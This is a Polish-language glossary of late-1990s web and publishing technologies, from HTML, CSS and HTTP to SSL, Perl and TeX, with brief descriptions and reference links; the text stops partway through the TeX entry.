Hypertext Markup Language jest napisanym w SGMLu hipertekstowym językiem kodowania dokumentów zaprojektowanym do swobodnego i szybkiego nauczenia się go. Od roku 1990 (gdy powstała pierwsza wersja --- pod kierunkiem Tima Berners-Lee w CERN) przeszedł długą i krętą drogę od prostego (w praktyce zawierającego kilkanaście wyrażeń) języka znakowania ZNACZEŃ dokumentów do języka (dla niektórych) opisu strony, czy generalnie przezentacji aplikacji. Ostanio tendencja ta odwraca się dzięki przemyślanej polityce W3C , opracowaniu zgodnych z wymogami ,,przemysłu'' i standardów rozszerzeń (CSS., HTML 4.0., Document Object Model (będący podstawą DHTML)) Podstawowe założenia przyświecające powstaniu i rozwijaniu języka: prostota (tak w sensie nauczenia się, jak i realizacji przez klientów) podstawowe znakowanie, z możliwością podziału na funkcjonalne części dokumentu niezależność od platformy elementy zależności między dokumentami (i poszczególnymi ich fragmentami) --- implementowany tylko w Arenie i Lynxie <LINK> różne poziomy implementacji języka, w tym istniejący jednynie w HTML 3.0. (i implementowany w Arenie) poziom matematyczny. Standardy: HTML Rozdział: Tworzenie --- HTML HTML @ W3C The Web Design Group (opisy HTML 3.2, CSS, Style Guide, spis ważnych odnośników) HTML Writers Guild CSS1 czyli Cascading Style Sheets Level 1 jest prostym językiem arkuszy stylistycznych pozwalającym na dołączanie tychże do kodu HTMLa. Każdemu elementowi, każdemu wystąpieniu danej klasy można przyporządkować określony styl: położenie względem marginesów, kolor i wielkość fontu. CSS jest (przynajmniej dla mnie, ponieważ dla ,,poważnych'' zastosowań przemysłowych istnieje DSSSL) próbą opanowania rozwoju stosowanego przez niektórych producentów ,,znakowania typograficznego'' (wielce przy tym zawodnego, bo zależnego nie tylko od przeglądarki, ale i systemu operacyjnego, rozdzielczości monitora użytkownika końcowego i innych czynników) czyli np. CENTER, BODY BACKGROUND="red.gif" i powrotu do HTMLa semi-znaczeniowego. Posiada przy tym tak prostą nazwa_odpowiedniego_znacznika_HTML ( atrybut_1: wartość, atrybut_2: wartość /** komentarz jak z C **/) składnię, elastyczność (np. o wiele dokładniejsze niżby to było możliwe w HTMLu pozycjonowanie elementów, możliwość automatycznego dołączania arkuszy z osobnych plików), że stanowi poważną konkurencję dla NHTMLa i innych wodotrysków. Warto tutaj zwrócić uwagę na fakt, że prawidłowo napisany dokument HTML+CSS w wypadku kontaktu z przeglądarką nie używająca ,,styli'' (-ów?) powinien być w dalszym ciągu czytelny (choć może mniej kolorowy i bez nadzwyczajnych efektów, zwłaszcza w wypadku drukowania). Cascading Style Sheets, level 1 --- W3C Recommendation 17 Dec 1996 Hĺkon Wium Lie Bert Bos Positioning HTML Elements with Cascading Style Sheets @ W3C WDG CSS1 Reference The Evolution of Style Sheets @ webreference.com Cascading Style Sheets Gallery @ Microsoft HWG CSS FAQ PDF Portable Document Format jest opartym na PostScriptcie --- opracowanym również przez Adobe formatem danych. W przeciwieństwie od PostScriptu posiada elementy interaktywne takie jak odnośniki, notki (annotations), zakładki, miniatury stron (thumbnails), formularze. Poza tym pliki z danymi podlegają kompresji. Wykorzystywany jest w sytuacji, gdy potrzebne jest wierne odtworzenie wyglądu danej publikacji i elementy publikacji elektronicznej takie jak hipertekstowy spis treści, przypisy, indeks czy wreszcie możliwość przeszukiwania. Adobe udostępnia za darmo przeglądarkę plików PDF, za firmowe narzędzia do ich przygotowowywania trzeba płacić. Istnieje jenak pewna ilość darmowych narzędzi, takich jak np. Ghostscript posiadacy możliwość destylacji odpowiednio przygotowanego PS do PDF. grupa comp.text.pdf PDFzone.COM | All Things Acrobat and pdf Tomasz Przechylewski ,,Publikacje elektroniczne: TeX i PDF'' Biuletyn GUST RDF --- Resource Description Framework jest projektem mającym zapewnić niezależną od producenta i aplikacji infrastrukturę dla meta-danych w pajęczynie. Do podstawowych celów należy umożliwienie automatycznego przetwarzania zasobów pajęczyny, tak przez oprogramowanie użytkownika końcowego (np. rozbudowany, samoporządkujący się system zakładek) jak i szeroko rozumianą infrastrukturę internetu: przeszukiwarki, katalogi tematyczne, ,,baby watch''. Przy tym nie chodzi o stworzenie konkretnych znaczników do kodu HTML/XML/czegokolwiek, a raczej o uczynienie metod opisu danych przenośnymi między aplikacjami. W tej chwili tworzone są aplikacje stosujące się do RDF: PICS Microsoft XML Web Collections Netscape XML/MCF RDF @ W3C OCLC's Nov'97 Press Release VRML czyli Vitual Reality Modeling Language jest to, wykorzystujący niektóre mechanizmy WWW (takie jak httpd, czy URL), język opisu scen trójwymiarowych oparty na formacie Open Inventor stworzonym przez Silicon Graphics. Niektórzy wiążą z nim duże nadzieje, uważając że przekaz graficzny jest łatwiej przyswajalny, ale (przynajmniej dla mnie) poziom skomplikowania języka, wielkość plików, brak praktycznych zastosowań osiągalnych w stosunkowo krótkim czasie powodują, że jest to raczej przyszłość niż teraźniejszość. VRML 2.0 --- Specyfikacja (VRML Architecture Group) grupa comp.lang.vrml VRML Forum (Wired) VRML Repository (SDSC) VRML 97 zarządzana przez Silicon Graphics Piotr Gawrysiak VRML. Wirtualna rzeczywistość w Internecie Warszawa 1995, 1996; Zakład Nauczania Informatyki MIKOM VRML w Polsce (Instytut Studiów Społecznych UW) AMU-NET's VRML Repository (Administrator: Klaudiusz Modrzewski) Kurs VRML @ EnterNET MIME --- Multipurpose Internet Mail Extensions jest zbiorem specyfikacji (wykorzystywanym także poza pocztą elektroniczną) pozwalającym na: identyfikację typu pliku przy pomocy nagłówków przekazywanych niezależnie od pliku ' --- nie zaś zgadywania podobnego do file(1) identyfikację zastosowanego zestawu znaków kodowanie plików binarnych, wymagających zestawu znaków < = 8 bit na postać 7bitową w wypadku niemożności przesłania w postaci nienaruszonej. W pajęczynie wykorzystuje się MIME głównie w nagłówkach HTTP. Standardy: MIME comp.mail.mime FAQ HTTP czyli Hypertext Transfer Protocol jest protokołem typu klient-serwer warstwy aplikacyjnej (działającym w oparciu o protokół TCP) służącym do pobierania (i przy użyciu niektórych (w pełni realizujących standard serwerów) dostarczania) dokumentów hipertekstowych (najczęściej w postaci HTML) a także zbiorów binarnych takich jak programy albo dokumenty pochodzące ze specjalizowanych edytorów tekstów. Procedura nawiązywania połączenia przebiega następująco: Klient przedstawia żądanie pobrania określonego zasobu (w formie: POLECENIE ścieżka_do_zasobu protokół $ telnet www 80 Trying 127.0.0.1...   Connected to localhost.   Escape character is '^]'.   GET /faq.htm HTTP/1.1   User-Agent: moja_cudowna_pajeczarka   Host: FAQ-Bot.ZiemBor.Waw.PL     (po żądaniu następuje linijka wolna Na to serwer odpowiada: (o ile żądanie jest realizowalne) HTTP/1.1 200 OK   Date: Sat, 05 Apr 1997 16:20:50 GMT   Server: Apache/1.1.1   Content-type: text/html  ; (........ i tak dalej ;-)) nie zawsze wszystko przebiega tak pomyślnie. Czasem pomyliliśmy URI i zamiast potwierdzenia wysłania strony, serwer odpowiada: HTTP/1.0 404 Not found   Date: Sat, 05 Apr 1997 16:29:10 GMT   Server: Apache/1.1.1   Content-type: text/html   The requested URL /pp was not found on this server. (Chyba wszystkie serwery pozwalają zmieniać zawartość pól (stron) obsługujących błędy 404 i inne --- choć w wypadku serwerów IIS firmy Microsoft w wersji poniżej 4.0 robi się to w jakiś wyrafinowany sposób --- nie wiem jeszcze jaki. Standardy: HTTP Rozdział: Serwery WebCompare Sekcja: HTTP na W3 HTTP Made Really Easy James Marchall HTTP Working Group działająca w ramach w IETF WebCasting (technologia push) jest metodą dostarczania wcześniej zamówionych (zasubskrybowanych) informacji bezpośrednio do wglądu użytkownika (np. jako wygaszacz ekranu). Zwykle (tak jak w wypadku CDF Microsoftu czy NetCaster Netscape tworzy się pewnie kanał (channel) dystrybucji określonych danych uaktualnianych w określonych odstępach czasu. CDF @ Microsoft Netcaster Webcasting @ Winter Webcasting @ WhatIS.com Polskie kanały PUSH DOM</></> Document Object Model</></> jest specyfikacją niezależnego od platformy i języka programowania sprzęgu (interface) pozwalającego programom i skryptom na dynamiczny dostęp i ingerencję w zawartość, strukturę i prezentację dokumentów, przy zachowaniu ich poprawności składniowej. DOM @ W3C DHTML @ Microsoft Java jest obiektowym językiem programowania stworzonym przez Sun INC. (zespół pod kierunkiem Jamesa Goslinga) do sterowania urządzeniami elektronicznymi (,,niekomputerowymi''). Jednym z podstawowych założeń projektu było stworzenie przenośnego kodu, nie wymagającego powtórnej rekompilacji, przy zmianie architektury maszyny na której program ma działać. Powstała w ten sposób tzw. wirtualna maszyny JAVA`y --- czyli środowisko, w jakim działają programy, (powinien być) niezależne od platformy systemowej, stosowanego systemu operacyjnego). Dzięki przenośności, względnej prostocie, oraz oczywiście promocji ze strony Suna --- np. darmowa przeglądarka WWW HotJava, oraz części narzędzi programistycznych takich jak Java Developer Kit lub specyfikacja InfoBus --- zyskała sobie dość powszechny odzew. Pomimo krótkiego cyklu rozwojowego języka (rozpoczęcie realizacji projektu ,,Green'' to kwiecień 1991, zaś światowa premiera Java`y i HotJava to maj 1995 r.) jest wykorzystywana do wielu różnych zastosowań: począwszy od prostych appletów (czyli krótkich programików realizujących pojedyncze zadania --- zazwyczaj zagnieżdżone w HTMLu) przewijających tekst u dołu strony, poprzez stosowanie jako interface do baz danych w formie serwletów (czyli javowych API serwera) do potężnych aplikacji takich jak Corel Office for Java. lub nieco mniej potężny ale chyba bardziej użyteczny pakiet e-suite Lotusa. Java @ Sun Java Developer's Kit Java @ SunSite.ICM Artur van Hoff, Sami Shaio, Orcha Starkbuck Sun Microsystems INC Hooked on JAVA (ISBN 0-201-48837-X) polskie wydanie: Java Wydawnictwo HELION (ISBN 83-86718-30-7) Addison-Wesley Java Series Java na UCI AGH Linux: Java CGI HOWTO David H. Silber JavaScript jest opartym częściowo na gramatyce Java`y językiem skryptowym, wykonywanym przez przeglądarkę. Został prowadzony na rynek przez wersję 2.0. przeglądarki Netscape Navigator powodując zalanie sieci migającymi napisami, wyskakującymi okienkami i działająymi po stronie klienta zegarkami. W chwili pojawienia się wersji 3.0. MS IE pojawiają się jego nowa mutacja o nazwie JScript W chwili obecnej toczą się prace nad jego standaryzacją przez ISO/IEC oraz ECMA. ECMA-262 JavaScript Language Specification --- propozycja standardu ISO/IEC JTC 1 języka skryptowego dokumentu opartego na JavaScript JavaScript Authoring Guide (Netscape) Microsoft JScript Language Reference polskie tłumaczenie (Pawła Wimmera i Włodzimierza Wypycha) kursu JavaScript Stefana Kocha Pełna dokumentacja do JavaScriptu Opis JScriptu czyli JavaScriptu w wersji MS Artykuł o rożnicach miedzy JavaScriptem a JScriptem David Flanagan JavaScript: the Definitive Guide stron 441, cena $30 O`Reily and Associates ActiveX jest usilnie promowaną przez Microsoft technologią pozwalająca na stosowanie obiektów OLE ,,wewnątrz przeglądarki''. Wywodzi się od ,,dynamicznej wymiany danych'' w MS Windows --- Dynamic Data Exchange --- DDE poprzez Object Linking and Embedding OLE 1.0 i 2.0, komponenty VBX (16-bitowe w VisualBasic) przekształcone na 32 bity OCX. A handlowa nazwa OCX to właśnie ActiveX. Zarówno OLE jak i ActiveX oparte są na Component Object Model COM definiujący sposoby tworzenia obiektów, komunikacji międzyprocesowej. Szczególnym przypadkiem COMa jest Distributed Component Object Model DCOM . What is ActiveX? (Microsoft) NetManage X Consortium ActiveX Journal Active X unoffical Guide VBScript jest opartym na gramatyce Visual Basic językiem skryptowym mającym konkurować z JavaScript Z racji ograniczonej stosowalności --- zaimplementowany tylko różnych wersjach MS IE --- nadaje się moim skromnym zdaniem jedynie do opartych o oprogramowanie MS Intranetów VBScript @ Microsoft Gry Cornell ,,Wprowadzanie Visual Basica do Intranetu. VBScript na stronach WWW'' [w:] Internet Developer 4/98 CGI czyli Common Gateway Interface jest specyfikacją --- API --- Application Program Interface) --- umożliwiającą komunikację przeglądarki z programami uruchamianymi przez serwer. Początkowo tworzona przez zespół z NCSA, nie doczekała się jeszcze opisu w formie RFC. W tej chwili będąc nieoficjalnym standardem (pochodzącym z NSCA HTTPd, a implementowanym przez większość dostępnych serwerów (nawet tych nie Uniksowych w postaci tzw. WinCGI)) jest powoli wypierana przez rozmaite specyfikację programistyczne poszczególnych serwerów (firm je produkujących) takie jak Netscape API, MS IIS API, czy Apache CGI/PHF lub FastCGI Interakcja po stronie serwera Bezpieczeństwo: CGI samouczek CGI Tomasza Rozdzynskiego CGI: Common Gateway Interface @ W3C Ken Coar Common Gateway Interface RFC Project Page CGI Overview @ NCSA UIUC CGI Programmer`s Reference (FAQ) Marca Hedlunda Nick Kew CGI Programing FAQ (WDG) CGI Programming MetaFAQ CGI-resources większość rzeczy potrzebnych do tworzenia programów zgodnych z CGI (odsyłacze do specyfikacji, gotowych darmowych programów) Perl/CGI programming FAQ Shishir Gundavaram and Tom Christiansen grupa comp.infosystems.www.authoring.cgi (moderowana) SSI czyli Serwer Side Include Jest prostym mechanizmem dynamicznego tworzenia dokumentów opracowanym (jak wiele innych, istotnych w pajęczynie technologii) w NSCA. Pozwala m.in. na: dołączanie nagłówków i stopek dokumentów wprowadzanie daty utworzenia, modyfikacji, wielkości pliku włączaniu standardowego wyjścia z programów do dokumentów Wszystkie zlecenia dla dokumentów składanych przez serwer znajdują się w komentarzu SGMLa, tak więc w wypadku błędnego wykonania zlecenia powinno pozostać nam puste miejsce. Serwer Apache w wersji < = 1.2.0 znacznie rozszerza składnię SSI, wprowadzając m.in. polecenia warunkowe (if, else, endif). NCSA httpd server side includes @internet --- What's Included in Server Side Includes? Parsed Text and Server Side Includes w serwerze WM Server Side Includes Page Server-parsed HTML (server-side includes) and how to use it @ Netscape XSSI SQL Structuralized Query Language jest relatywnie prostym, proceduralnym językiem służącym do sterowania relacyjnymi bazami danych. Wykorzystywany (na pewnym poziomie, czasem ukrytym przed końcowym użytkownikiem) jest przez większość baz działających w technologii klient/serwer. Bazy danych specyfikacja SQL89/92/3 SQL Standards Home Page SQL Info PHP3 Professional Home Pages jest wieloplatformowym (tak jeśli chodzi o system operacyjny jak i serwer http) osadzanym wewnątrz kodu HTMLa, a jednocześnie działającym po stronie serwera językiem skryptowym o składni wywodzącej się z C Perla i Java`y Ułatwia on pisanie aktywnych, odwołujących się do baz danych, konstrukcji matematycznych stron WWW oferując bogaty zbiór funkcji i metod do większości systemów SQL. Może działać jako proces CGI lub jako moduł serwera. W tej chwili w ,,w obrocie'' znajdują się dwa warianty PHP: PHP/FI PHP3 Do podstawowych wad należy brak własnego API i związany z tym brak możliwości samodzielnego dopisywania własnych elementów. PHP2/FI PHP3 homepage Dynamic Web Pages with PHP3 An Embedded Scripting Language for the Web By Rasmus Lerdorf ASP Active Server Pages są środowiskiem programistycznym stworzonym dla serwerów HTTP firmy Microsoft. Pozwala na tworzenie dokumentów dynamicznych, generowanych jednak po stronie serwera przy użyciu potencjalnie dowolnego języka programowania (posiadającego jednak wsparcie w ASP. W tej chwili oznacza to co najmniej VBScript JScript PerlScript -- ten ostanie jako część dystrybucji ActiveState Perl). oraz SSI. ''activeserverpages.com The most popular ASP resource in the World'' ''Active Platform'' @ Microsoft Rafał Stefanowski ,,Active Server Pages (ASP) narzędzie do tworzenia dynamicznych stron WWW'' M. Corning ,,Working with Active Server Pages'' by Que Corp. Leon Chalnick ,,Tworzenie dynamicznej zawartości przy użyciu ASP.'' Programowanie serwera Active Server Pages.'' [w:] ,,Internet Developer'' 6/97 ss. 12-17 DHTML --- Dynamic HTML jest (opartą w zasadzie na jakiejś wariacji na temat DOM metodologią pozwalającą na ingerencję programów zewnętrznych wobec przeglądarki w proces przetwarzania ( rendering ) kodu HTML na obraz. W obecnym wcieleniu DHTMLa, zaimplementowanym w wersjach 4.x przeglądarek MS IE i Netscape Navigator, wykorzystuje się przede wszystkim języki skryptowe --- takie jak VBScript JavaScript --- oraz CSS. W tech chwili możliwa jest ograniczona ingerencja w dokument po stronie klienta: wstawianie daty, tworzonych dynamicznie odnośników, animowanych obiektów (sztandarowy przykład). Dynamic HTML in Netscape Navigator Dynamic HTML Gallery @ Microsoft Inside DHTML Macromedia`s DHTML Zone WebCoder Project Cool przedstawiający część DHTMLa (a zwłaszcza CSS) interpretowaną przez Netscape Communicator Cookie jest mechanizmem (wymyślonym przez Netscape) przechowywania stanu klienta (na lokalnej maszynie UA) przy kolejnych żądaniach kierowanych do serwera. Wykorzystuje nie zdefiniowany w HTTP/1.1 nagłówki Set-Cookie i Cookie . Powstała też (częściowo niezgodna z Netscape) propozycja przechowywania stanu klienta firmowana przez IETF (RFC). ``Webmaster. Podręcznik administratora'' ss. 95-97 Client Side State - HTTP Cookies --- Netscape RFC 2109 PS D. Kristol, L. Montulli, HTTP State Management Mechanism 02/18/1997 (Liczba stron=21) Co to jest SSL? SSL --- Secure Socket Layer </></> --- protokół bezpiecznej komunikacji między klientem a serwerem, stworzony przez Netscape. SSL w założeniu jest podkładką pod istniejące protokoły, takie jak HTTP, FTP, SMTP, NNTP i telnet. Powszechnie jest używane głównie HTTPS (HTTP na SSL). SSL zapewnia trzy rzeczy: prywatność --- połączenie jest szyfrowane autoryzację --- klient i serwer określa swoją tożsamość integralność przesyłanych danych --- przez sumy kontrolne Ze względu na sposób dokonywania autoryzacji SSL jest protokołem scentralizowanym, inaczej niż np. PGP. Jest on oparty o grupę instytucji certyfikujących --- Certyfing Authorities, w skrócie CA, które opatrują swoim podpisem certyfikaty poszczególnych serwerów. CA z założenia są godni zaufania, a uzyskanie podpisu wymaga przedstawienia szeregu dowodów tożsamości. W ten sposób wchodząc na serwer legitymujący się certyfikatem jednego ze znanych CA mamy pewność że serwer rzeczywiście jest tym za który się podaje. SSL przewiduje użycie trzech rodzajów certyfikatów: certyfikat CA Zbiór informacji reprezentujących tożsamość danej instytucji certyfikującej. Obecność podpisu danego CA na certyfikacie serwera oznacza, że CA zaakceptował dowody przedstawione przez firmę występującą o podpis i swoim certyfikatem poświadcza autentyczność serwera. certyfikat serwera Zbiór informacji reprezentujących tożsamość danego serwera. Certyfikat serwera musi być opatrzony podpisem CA. certyfikat osobisty Znacznie mniej rozpowszechnione są certyfikaty klienta --- firmy promujące używanie tego certyfikatu nazywają go "cyfrowym paszportem". Wraz z podpisem odpowiedniego CA pozwala potwierdzić Twoją tożsamość jako klienta. Więcej informacji można znaleźć na stronach: VeriSign, Thawte Consulting certyfikat atrybutu Zaproponowany przez Netscape jako rozszerzenie istniejących certyfikatów. Sam w sobie nie stanowi dowodu tożsamości. Wśród głównych zastosowań wymienia się np. przyznawanie tymczasowych praw podpisywania certyfikatów. Więcej informacji można znaleźć na liście IETF-TLS. W tej chwili istnieją dwie specyfikacje SSL: SSL 2.0 SSL 3.0 Wersja 3.0 ma poprawione wiele słabości SSL 2.0 oraz umożliwia kompresję danych. SSL 3.0 jest wstecznie kompatybilne z 2.0. Jak nawiązuje się połączenie SSL? Podając w URLu protokół https. Na przykład: https://www.verisign.com/ Oczywiście, nie z każdym serwerem WWW można się połączyć przez SSL. Jednak praktycznie wszystkie serwery mające coś wspólnego z zakupami przez Internet na to pozwalają. W Netscape i MSIE bezpieczne połączenie jest oznaczane przez złączenie złamanego kluczyka w lewym dolnym rogu ekranu. Adresy portów zarezerwowane dla protokołów działających w oparciu o TLS i SSL można znaleźć pod adresem: Które przeglądarki obsługują SSL? Z najpopularniejszych: Netscape, MSIE i Lynx. Niestety amerykańskie prawo nakłada ograniczenia (ITAR) na eksport programów zawierających zaawansowane algorytmy kryptograficzne, wobec czego Netscape i MSIE są rozpowszechniane w dwóch wersjach: eksportowej (klucz 40-to bitowy) i amerykańskiej (128-mio bitowy). Ostatnimi czasy klucze 40-bitowe kilkukrotnie łamano dla wykazania niesłuszności ITAR i nie można ich uznać za bezpieczne. Amerykańskie prawo przewiduje jeden wyjątek dla wielkości klucza używanego podczas połączenia SSL: połączenie z serwerem posiadającym specjalny certyfikat do wystawiania którego jest obecnie uprawniona jedynie firma VeriSign i jest on wydawany głównie bankom. Konsekwencją tego kroku jest fakt, że przeglądarki fizycznie zawierają kod umożliwiający używanie kluczy o pełnej długości, jest on jedynie zablokowany. W przypadku Netscape istnieje darmowy program Fortify umożliwiający odblokowanie wspomnianych procedur. Po uruchomieniu Fortify przeglądarka może używać kluczy o pełnej długości bez żadnych ograniczeń. Oficjalnie wersji 128-mio bitowych nie wolno eksportować ze Stanów, ale oczywiście już dawno zostało to zrobione i można je sobie ściągnąć z Europy. Inne rozwiązanie to użycie programu SafePassage, który działa jako serwer proxy i pozwala korzystać z 128-bitowego SSL nawet eksportowym wersjom przeglądarek. Lynx-SSL (oparty o wersje 2.7 i 2.8) używa kluczy 128-mio bitowych. Obsługa SSL w Lynxie jest w tej chwili bardzo ograniczona (brak zarządzania certyfikatami lub jakiejkolwiek konfiguracji SSL), ale działa poprawnie. Jest jeszcze jeden program z kluczem 128-mio bitowym --- WorkHorse (pod MS Windows), przeznaczony z założenia do home-bankingu. Z tego powodu ma słabo rozbudowane wodotryski i obsługę HTMLa, za to bardzo bogate funkcje zabezpieczania transakcji (PGP, PEM, ECheque, SSL) i inne, równie interesujące. Wszystkie wymienione programy można ściągnąć z ftp://ftp.replay.com/pub/replay/pub/browsers/ (Holandia) lub z polskiego mirrora ftp://ftp.icm.edu.pl/pub/security/replay/browsers/ ONE czyli Open Network Environment Netscape jest technologią (środowiskiem programistycznym) pozwalającą łatwiejsze i szybsze tworzenie dynamicznych, wieloplatformowych aplikacji sieciowych. W swoich dokumentach NC pisze o tym, że bazują na ,,otwartych, publicznych standardach dostępnych na każdą platformę''. (Jeśli to są standardy internetu, to zazwyczaj dość pokracznie interpretowane... --- jak choćby rozmaite ,,extentions'' HTMLa). Plug-In (wtyczka) jest technologią pozwalającą na rozszerzenie możliwości przeglądarki czytania rozmaitych formatów dokumentów --- np.: Adobe PDF, CorelDraw, rysunki wektorowe, pliki różnych dziwnych ,,procesorów tekstów'', animacje. Plug-in Guide @ Netscape lista plug-inów wg firmy CC Practical Extraction and Report Language czasem nazywany jest też The Pathologically Eclectic Rubbish Lister [za:] man perl jest skryptowym językiem rozwijanym przez początkowo przez Larrego Walla pozwalającym na łatwe, szybkie operacje na tekstach, a także --- co stanowi jego przewagę nad tak wspaniałym narzędziem jakim jest awk lub gawk --- na dostęp do wszelkich funkcji systemu. Pozwala nie tylko na rozmaite działania na dokumentach w trakcie ich przygotowywania, ale także łatwe i wydajne tworzenie programów CGI dostęp do baz danych... Posiada ponoć (nie zauważyłem ;-) wysoce złożona i nieklarowną składnie, zorientowaną jednak na szybkie pisanie programów. Często można wypisać w jednej linijce zadania które np. w C trzeba było napisać w formie kilkudziesięciu liniowego programu. What is Perl? man 1 perlbook CPAN --- Comprehensive Perl Archive Network Perl Institute The Perl Home Page Krzysio Leszczyński Perl (w:) Linux+ 2/ 3/1997 (ISSN 1427-55-62) (a witrynie L+ dostępne są dwa pierwsze artykuły cyklu). Wprowadzenie do Perla Kazimierz Pietruszewski Jr Krótki opis Perla opracował Krzysztof Juszkiewicz A. Dawidziuk, P. Bolek Perl w przetwarzaniu tekstów Programming Perl (the Camel Book) Learning Perl (the Lama Book) kolekcja Earla Hooda perlWWW grupa pl.comp.lang.perl jest o wiele prostszym (a zastosowaniach typu przetwarzanie tekstów równie wydajnym) narzędziem od Perla czy C Napisany w późnych latach 1970tych przez Alfreda Aho, Peter Weinberger i Briana Kernighana posiada składnię zbliżoną do C, przy swobodniejszym podejściu do deklarowania zmiennych i wykorzystywaniu niedostępnych w tej formie w C wyrażeń regularnych. Dodatkową zaletą jest to że należy do standardowego wyposażenia Unixa, a i DOSowe implementacje są i ładne (jak na *-DOSa ) i szybkie ;-) grupa comp.lang.awk AWK. Opis języka z przykładami B. Lichoński, T. Przechlewski awk, sed Język C --- uniwersalne narzędzie programowania, charakteryzujące się prostota wyrażeń, nowoczesną strukturą danych i bogatym zestawem operatorów oraz uniezaleznieniem od konkretnego komputera czy systemu operacyjnego. Stworzony we wczesnych latach 1970tych przez Dennis Ritchie i od razu użyty do przepisania systemu Unix (z asemblera?). Thomas Boutell CGI Programing in C & Perl Addison-Wesley Publishing Comp.INC (ISBN 0-201-42219-0) ISO/IEC 9899:1990 C Language Kernighan Brian W., Ritchie Dennis M.: Jezyk ANSI C tłum. z ang. D. i M. Kruszewscy; Wyd. 2; Warszawa: WNT, 1997; B5, 358 s., 21 rys., 5 tabl., oprawa miekka; ISBN 83-204-2152-7; cena 29,00 zł WNT HyperG, a także HyperWave są pomysłem na rozszerzenie możliwości HTTP/HTML o: pełną (przeszukiwalną) bazę serwowanych dokumentów (z ,,kolekcji'') (.htz) (wraz z możliwością podzielenia tej bazy na wiele maszyn) wielowariantowość dokumentów (po to by wstępnie zapoznać się z treścią serwowany jest dokument tekstowy/HTML, do wydruku idzie DVI, lub PostScript) określona struktura (hierarchia) dokumentów serwowanie i pobieranie dokumentów tak w ramach standardu HyperG jak i standardów określających WWW. Kurs HyperG Keitha Andrewsa grupa comp.infosystems.hyper-g WYSIWYG --- What You See Is What You Get (inne nazwy: WYSIAWYG (What You See Is Almost What You Get) lub WYSIMOLWYG --- What You See Is More or Less What You Get) --- jest sloganem reklamowym próbującym opisywać sytuację, gdy zawartość dokumentu wygląda podobnie w czasie edycji na ekranie i w formie wynikowej (czy to na wydruku, czy w formie np. strony WWW). Wiąże się z tym jednak kilka kłopotów: bardzo trudno łączy się automatykę tworzenia dokumentu z dowolnymi zmianami dokonywanymi przy pomocy myszki. (Jedyne znane mi przykłady poprawnego rozwiązania tego problemu to WordPerfect < = 7.0. for GUI (,,normalny edytor'' tekstów, posiadający na bieżąco również podgląd psedokodów sterujących) i MacroMedia Dreamweaver (korzystający z CSS Positioning i możliwości ,,ręcznego'' poprawiania kodu HTMLa). Poza tym jeszcze programy typu mocne DTP pewnie też to potrafią. ciężko operować na logicznych strukturach tekstu. Co prawda większość narzędzi tego typu oferuje jakąś formę predefiniowanych styli w formie ,,rozdział'', ,,nagłówek'' ale tylko nieliczni użytkownicy potrafią z tego korzystać. tworzy się iluzję, że każdy może poprawnie tworzyć dokumenty Text Encoding Inciative jest międzynarodowyp projektem badawczym, mającym za cel stworzenie zestawu podstawowych wytycznych (Guidelines) na temat tekstów elektronicznych. Sponsorowany i koordynowany jest przez: Association for Computational Linguistics (ACL) Association for Literary and Linguistic Computing (ALLC) Association for Computing and the Humanities (ACH). Efektem tych prac jest ,,Guidelines for the encoding and interchange of machine-readable texts'' pod redakcją C.M.Sperberg-McQueen and Lou Burnard (Chicago and Oxford, ALLC-ACH-ACL Text Encoding Initiative, 1994). Wytyczne te dostępne są pod adresem http://www-tei.uic.edu/orgs/tei/ TEItools Borisa Tobornasa do konwersji z TEIlite na różne formaty HyTime czyli Hypermedia/Time-based Structuring Language. jest przemysłowym, międzynarodowym (ISO/IEC 10744:1992) standardem dystrybucji i tworzenia dokumentów multimedialnych, zwłaszcza muzycznych. http://ww.HyTime.org/ Eliot Kimber's HyTime Course HyMinder: TechnoTeacher, Inc SoftQuad Panorama DocBook jest nieformalnym, opartym na SGMLu standardem przemysłowym wymiany dokumentacji oprogramowania (zwłaszcza podręczników). Davenport Group (dawny opiekun DocBook DTD) DocBook @ OASIS Norman Walsh ,,DocBk30 XML DTD'' Ziemek Borowski (zapiski ze spotkania Warszawskiej Grupy Użytkowników Linuksa). DocBook jako format dokumentacji technicznej dla Linuksa LinuxDoc jest opartym na SGMLu, korzystającym z nazw styli LaTeXa formatem danych wykorzystywanym w Linux Documentation Project . Dostępny pakiet SGML-Tools pozwala na prostą konwersję do LaTeXa (a stamtąd do PostScriptu i PDFa), groffa, GNUinfo, czystego tekstu i HTMLa. jest proceduralnym, niezależnym od urządzenia wyjściowego, językiem programowania wyspecjalizowanym w opisie strony/grafiki. Pierwsza wersja jego specyfikacji została ogłoszona w 1985 roku przez Adobe Systems jako PostScript --- język opisu stron wykorzystywany w drukarkach, naświetlarkach --- na styku komputer-papier. Potem, 1990 roku, powstała wzbogacona o obsługę kolorów wersja PostScript Level 2. Wykorzystuje odwzorowania wektorowe, potrafiąc jednocześnie przetwarzać grafikę rastrową. Wykorzystuje własny format fontów (Type 1) zarządzanych w środowisku MS Windows przez Adobe Type 1 Manager ATM Z racji powszechności drukarek wyposażonych w jego interpretator, ścisłego odwzorania wydruku stał się popularnym formatem wymiany gotowych materiałów. PostScript Language Reference Manual (Second Edition) published by Addison-Wesley (ISBN 0-201-18127-4). Ghostscript PICS Platform for Internet Content Selection jest protokołem umożliwiającym ocenę i wybór poszczególnych miejsc w pajęczynie przy pomocy rozproszonego systemu ocen. PICS Rating Services and Rating Systems PICS Label Distribution Label Syntax and Communication Protocols TeX jest systemem składu drukarskiego przetwarzającego polecenia specyficznego języka programowania na postać niezależną od urządzenia wyjściowego: w pierwszej kolejność na pliki DVI , a potem na PostScript. Pozwala na używanie dowolnego formatu grafik, bogatego zestawu fontów (tak rozprowadzanych z TeXem jak i PostScriptowych) czy wreszcie na dowolne programowanie składu. Autorem TeXa jest profesor Donald Knuth z Uniwersytetu Stanforda w Stanach Zjednoczonych. Nazwę TEX wymawia się tech, ponieważ są to trzy duże greckie litery Tau, Epsilon, Chi. Istnieje też polska wersja TEX-a nazywająca się MEX (wym. mech). Litera E jest opuszczona w dół i dosunięta do pozostałych, żeby zademonstrować możliwości systemu. Jest to system stosunkowo ,,stary''. Prace nad nim zostały rozpoczęte w roku 1977, a ukończone w 1982(6) roku i od tego czasu istnieje w (prawie) niezmienionej postaci (za każdy wykryty błąd, czyli niezgodność z dokumentacją, DEK wypłaca nagrodę). Jest to oprogramowanie klasy public domain, z licencją zezwalającą dowolne użycie źródeł pod warunkiem zmiany nazwy. Jest wykorzystywany przez dwóch największych na świecie wydawców tekstów naukowych tj. American Mathematical Society, oraz Springer Verlag, a ponadto przez kilkadziesiąt innych cenionych wydawnictw, takich jak: Addison-Wesley Publishing Group, Oxford University Press, Elsevier Publishers, Kluwer Academic 